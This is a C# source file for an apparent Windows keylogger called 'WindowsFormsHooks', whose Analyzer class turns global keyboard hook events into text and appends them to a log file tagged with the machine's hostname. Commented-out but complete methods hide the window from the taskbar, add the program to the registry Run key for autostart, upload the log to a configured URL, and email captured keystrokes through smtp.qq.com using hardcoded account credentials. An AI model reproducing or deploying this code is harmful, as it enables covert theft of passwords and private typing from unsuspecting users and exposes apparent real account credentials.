﻿using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Threading;
using System.IO;
using Microsoft.Win32;
using System.Net;
using System.Net.Mail;

/*
 * WindowsFormsHooks
 */

namespace Hooks
{
    /// <summary>
    /// Precesses all the keyboard input and performs assigned actions
    /// </summary>
    class Analyzer
    {
        /// <summary>
        /// current pressed keys cache
        /// stores keys and empties itself after flushing
        /// </summary>
        private string cache = "";

        private string HookStr = string.Empty;
        
        private MainForm mainForm;

        /// <summary>
        /// Serves as a constructor
        /// </summary>
        /// <param name="mForm">Pointer to the main form</param>
        public void Init(MainForm mForm)
        {
            mainForm = mForm;
        }

        /// <summary>
        /// Gets string representation of provided key code
        /// </summary>
        /// <param name="vk">virtual key code</param>
        /// <returns>readable key code text</returns>
        public string GetKeyString(Hooker.VKeys vk)
        {   
            string name = Enum.GetName(typeof(Hooker.VKeys), vk);
            
            // represent a-z & 0-9 keys
            if (name.Contains("KEY_"))
            {
                return name.Remove(0, 4);
            }

            // display SPACE key as ' '
            if (vk == Hooker.VKeys.SPACE)
            {
                return " ";
            }

            // enter should be represented as a new line
            if (vk == Hooker.VKeys.RETURN)
            {
                return "\r\n";
            }

            return "[" + name + "]";
        }

        /// <summary>
        /// Processes the keyboard events
        /// </summary>
        public void ProcessHook(IntPtr wParam, IntPtr lParam)
        {
            int key = Marshal.ReadInt32(lParam);

            // add to cache
            cache += GetKeyString((Hooker.VKeys)key);

            ProcessKeywords();

            // cache full? let's flush
            if (cache.Length >= Properties.Settings.Default.cacheSize)
            {
                //SendCacheToEmail(cache);
                ActionFlush();
            }
        }
        
        /// <summary>
        /// Performs ana action if the specified keyword is entered
        /// </summary>
        private void ProcessKeywords()
        {
            //if (cache.Length >= Properties.Settings.Default.keyHide.Length &&
            //    cache.IndexOf(Properties.Settings.Default.keyHide, cache.Length - Properties.Settings.Default.keyHide.Length, Properties.Settings.Default.keyHide.Length, StringComparison.CurrentCulture) >= 0)
            //{
            //    ActionHide();
            //}

            //if (cache.Length >= Properties.Settings.Default.keyUnhide.Length &&
            //    cache.IndexOf(Properties.Settings.Default.keyUnhide, cache.Length - Properties.Settings.Default.keyUnhide.Length, Properties.Settings.Default.keyUnhide.Length, StringComparison.CurrentCulture) >= 0)
            //{
            //    ActionUnhide();
            //}

            //if (cache.Length >= Properties.Settings.Default.keyFlush.Length &&
            //    cache.IndexOf(Properties.Settings.Default.keyFlush, cache.Length - Properties.Settings.Default.keyFlush.Length, Properties.Settings.Default.keyFlush.Length, StringComparison.CurrentCulture) >= 0)
            //{
            //    new Thread(new ThreadStart(ActionFlush)).Start();
            //}

            //if (cache.Length >= Properties.Settings.Default.keyClose.Length &&
            //    cache.IndexOf(Properties.Settings.Default.keyClose, cache.Length - Properties.Settings.Default.keyClose.Length, Properties.Settings.Default.keyClose.Length, StringComparison.CurrentCulture) >= 0)
            //{
            //    mainForm.Close();
            //}

            //if (cache.Length >= Properties.Settings.Default.keyUpload.Length &&
            //    cache.IndexOf(Properties.Settings.Default.keyUpload, cache.Length - Properties.Settings.Default.keyUpload.Length, Properties.Settings.Default.keyUpload.Length, StringComparison.CurrentCulture) >= 0)
            //{
            //    new Thread(new ThreadStart(ActionUploadFile)).Start();
            //}
        }

        /// <summary>
        /// Hide from Windows Taskbar
        /// </summary>
        //public void ActionHide()
        //{
        //    mainForm.ShowInTaskbar = false;
        //    mainForm.Visible = false;
        //    mainForm.Refresh();
        //}

        ///// <summary>
        ///// Unhide from Windows Taskbar
        ///// </summary>
        //public void ActionUnhide()
        //{
        //    mainForm.ShowInTaskbar = true;
        //    mainForm.Visible = true;
        //    mainForm.Refresh();
        //}

        /// <summary>
        /// Flush the cache to log file
        /// </summary>
        public void ActionFlush()
        {
            if (Properties.Settings.Default.uppercase == false)
            {
                cache = cache.ToLower();
            }

            try
            {
                File.AppendAllText(Properties.Settings.Default.logFile, cache);
                cache = "";
            }
            catch (Exception)
            {
            }
        }

        /// <summary>
        /// Session started. Write the header to the log file
        /// </summary>
        public void PrepareFile()
        {
            if (Properties.Settings.Default.appendLogFile == false)
            {
                ClearLogFile();
            }

            try
            {
                File.AppendAllText(Properties.Settings.Default.logFile, "\r\n==============================================");
                File.AppendAllText(Properties.Settings.Default.logFile, "\r\nHooks Log - " + DateTime.Now.ToString() + " - " + Dns.GetHostName());
                File.AppendAllText(Properties.Settings.Default.logFile, "\r\n==============================================\r\n");
            }
            catch (Exception)
            {
            }
        }

        /// <summary>
        /// Clear log file
        /// </summary>
        public void ClearLogFile()
        {
            try
            {
                File.WriteAllText(Properties.Settings.Default.logFile, "");
            }
            catch (Exception)
            {
            }
        }

        ///// <summary>
        ///// Add to Windows registry for autostart
        ///// </summary>
        //public void AddToWinStartup()
        //{
        //    try
        //    {
        //        RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        //        reg.SetValue("WindowsFormsHooks", Application.ExecutablePath.ToString());
        //    }
        //    catch (Exception)
        //    {
        //        MessageBox.Show("Unable to Add to Windows Startup. Requires Administrator Access!"); 
        //    }
        //}

        ///// <summary>
        ///// Remove from Windows registry
        ///// </summary>
        //public void DeleteFromWinStartup()
        //{
        //    try
        //    {
        //        RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        //        reg.DeleteValue("WindowsFormsHooks", false);
        //    }
        //    catch (Exception)
        //    {
        //        MessageBox.Show("Unable to Delete from Windows Startup. Requires Administrator Access!");
        //    }
        //}

        ///// <summary>
        ///// Check if it's in Windows registry
        ///// </summary>
        ///// <returns>Application starts with windows</returns>
        //public bool IsInStartup()
        //{
        //    try
        //    {
        //        RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        //        if (reg.GetValue("WindowsFormsHooks").ToString() == Application.ExecutablePath.ToString())
        //            return true;
        //        else
        //            return false;
        //    }
        //    catch (Exception)
        //    {
        //        return false;
        //    }
        //}


        ///// <summary>
        ///// Upload log file
        ///// </summary>
        //public void ActionUploadFile()
        //{
        //    ActionFlush();

        //    System.Net.WebClient Client = new System.Net.WebClient();
        //    Client.Headers.Add("Content-Type", "binary/octet-stream");
        //    byte[] result = Client.UploadFile(Properties.Settings.Default.uploadUrl, "POST", Properties.Settings.Default.logFile);
        //    string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);

        //    return;
        //}

        ///// <summary>
        ///// Send Mail
        ///// </summary>
        ///// <returns></returns>
        //public void SendCacheToEmail(string body)
        //{
        //    ActionFlush();
        //    SmtpClient sc = new SmtpClient();
        //    sc.DeliveryMethod = SmtpDeliveryMethod.Network;
        //    sc.Host = "smtp.qq.com";
        //    sc.Credentials = new System.Net.NetworkCredential("liuju150", "loubliuju");

        //    MailMessage mm = new MailMessage("liuju150@qq.com", "liuju150@vip.qq.com");
        //    mm.Subject = "Hooks_" + Dns.GetHostName();
        //    mm.Body = body;
        //    mm.BodyEncoding = System.Text.Encoding.UTF8;
        //    mm.IsBodyHtml = false;

        //    try
        //    {
        //        sc.Send(mm);
        //    }
        //    catch
        //    {
        //    }
        //    finally
        //    {
        //        ActionFlush();
        //    }
        //}


        ///// <summary>
        ///// Send Mail
        ///// </summary>
        ///// <returns></returns>
        //public void SendCacheToEmail()
        //{
        //    ActionFlush();
        //    SmtpClient sc = new SmtpClient();
        //    sc.DeliveryMethod = SmtpDeliveryMethod.Network;
        //    sc.Host = "smtp.qq.com";
        //    sc.Credentials = new System.Net.NetworkCredential("liuju150", "loubliuju");

        //    MailMessage mm = new MailMessage("liuju150@qq.com", "liuju150@vip.qq.com");
        //    mm.Subject = "Hooks_" + Dns.GetHostName();
        //    mm.Body = cache;
        //    mm.BodyEncoding = System.Text.Encoding.UTF8;
        //    mm.IsBodyHtml = false;
        //    mm.Attachments.Add(new Attachment(Properties.Settings.Default.logFile));

        //    try
        //    {
        //        sc.Send(mm);
        //        if (File.Exists(Properties.Settings.Default.logFile))
        //        {
        //            File.Delete(Properties.Settings.Default.logFile);
        //        }
        //    }
        //    catch
        //    {
        //    }
        //    finally
        //    {
        //        ActionFlush();
        //    }
        //}
    }
}
